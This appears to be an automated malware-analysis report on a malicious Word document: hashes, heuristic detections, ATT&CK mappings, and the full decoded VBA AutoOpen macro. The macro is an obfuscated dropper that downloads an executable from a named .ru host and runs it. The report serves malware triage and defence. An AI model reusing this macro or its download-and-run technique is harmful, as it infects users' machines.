Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cb32d2ea9add8379…

MALICIOUS

Office (OLE)

32.5 KB Created: 2015-06-24 07:11:00 Authoring application: Microsoft Office Word First seen: 2015-09-01
MD5: c93cd736b08aaff5c8dd1ead58ea51b8 SHA-1: 2158713093be04cbc16aa7f2d83fca00a3091a94 SHA-256: cb32d2ea9add837965cdff0fddd76b0dacc36d56bcc971368e65a5ef27523d4a
392 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1071.001 Web Protocols

The sample contains VBA macros that leverage WScript.Shell to execute commands. The AutoOpen macro constructs a command to download a file from 'http://surgut-oil.ru/general/hally.exe' to 'c:\users\public\documents\', and then executes it. This indicates a dropper functionality, aiming to fetch and run a secondary payload.

Heuristics 12

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    CreateObject("WScript.Shell").Run (Replace(Replace(c, z, u), "https://www.google.com/images/srpr/logo1w.png", e))
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    CreateObject("WScript.Shell").Run (Replace(Replace(c, z, u), "https://www.google.com/images/srpr/logo1w.png", e))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    z = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://surgut-oil.ru/general/hally.exe Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro
    • https://www.google.com/images/srpr/logo1w.pngReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2465 bytes
SHA-256: 12e49dba325bb031d493e5c9bf3d766176e301e05057c5eb187c180a4c32d04a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
     Dim a, b, c, d, e, f, z
Dim r
r = 0
r = 12333 + 1
'''''''''''''''''''''''''''''''''''''''
e = "http://surgut-oil.ru/general/hally.exe"
u = "c:\"
'''''''''''''''''''''''''''''''''''''''
a = "Y21kLmV4ZSAvYyBjZCBjOlx1c2Vyc1xwdWJsaWNcZG9jdW1lbnRzICYgKGVjaG8gYSA9ICJodHRwczovL3d3dy5nb29nbGUuY29tL2ltYWdlcy9zcnByL2xvZ28xdy5wbmciICYgZWNobyBiID0gTWlkXihhLCBJblN0clJldl4oYSwgIi8iXikgXisgMSwgTGVuXihhXileKSAmIGVjaG8gU2V0IGMgPSBDcmVhdGVPYmplY3ReKCJNU1hNTDIuWE1MSFRUUCJeKSAmIGVjaG8gU2V0IGQgPSBDcmVhdGVPYmplY3ReKCJTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCJeKSAmIGVjaG8gU2V0IGUgPSBDcmVhdGVPYmplY3ReKCJBRE9EQi5TdHJlYW0iXikgJiBlY2hvIFNldCBmID0gQ3JlYXRlT2JqZWN0XigiV1NjcmlwdC5TaGVsbCJeKSAmIGVjaG8gSWYgZC5GaWxlRXhpc3RzXihiXikgVGhlbiBkLkRlbGV0ZUZpbGVeKGJeKSAmIGVjaG8gYy5vcGVuICJHRVQiLCBhLCBGYWxzZSAmIGVjaG8gYy5zZW5kICYgZWNobyBJZiBjLlN0YXR1cyA9IDIwMCBUaGVuICYgZWNobyBXaXRoIGUgJiBlY2hvIC5UeXBlID0gMSAmI" + _
"GVjaG8gLk9wZW4gJiBlY2hvIC5Xcml0ZSBjLnJlc3BvbnNlQm9keSAmIGVjaG8gLlNhdmVUb0ZpbGUgYiAmIGVjaG8gLkNsb3NlICYgZWNobyBFbmQgV2l0aCAmIGVjaG8gSWYgZC5GaWxlRXhpc3RzXihiXikgVGhlbiAmIGVjaG8gZi5SdW5eKGJeKSAmIGVjaG8gRW5kIElmICYgZWNobyBFbmQgSWYgJiBlY2hvIGQuRGVsZXRlRmlsZV4oV1NjcmlwdC5TY3JpcHRGdWxsTmFtZV4pICYgZWNobyBTZXQgYyA9IE5vdGhpbmcgJiBlY2hvIFNldCBkID0gTm90aGluZyAmIGVjaG8gU2V0IGUgPSBOb3RoaW5nICYgZWNobyBTZXQgZiA9IE5vdGhpbmcpID4geC52YnMgJiBzdGFydCB4LnZicw==": f = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": a = Replace(a, vbCrLf, ""): a = Replace(a, vbTab, ""): a = Replace(a, " ", ""): b = Len(a): For d = 1 To b Step 4
Dim g, h, i, j, k, l
g = 3
Dim x
x = 0
x = x + 1
k = 0
For h = 0 To 3
i = Mid(a, d + h, 1)
Dim y
y = 2
x = y + 1
If i = "=" Then
g = g - 1
j = 0
Else
j = InStr(1, f, i, vbBinaryCompare) - 1
End If
x = y + r - 1000 * 5 - r
k = 64 * k + j: Next
k = Hex(k)
k = String(6 - Len(k), "0") & k
l = Chr(CByte("&H" & Mid(k, 1, 2))) + Chr(CByte("&H" & Mid(k, 3, 2))) + Chr(CByte("&H" & Mid(k, 5, 2)))
c = c & Left(l, g)
z = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2)
Next
CreateObject("WScript.Shell").Run (Replace(Replace(c, z, u), "https://www.google.com/images/srpr/logo1w.png", e))

End Sub

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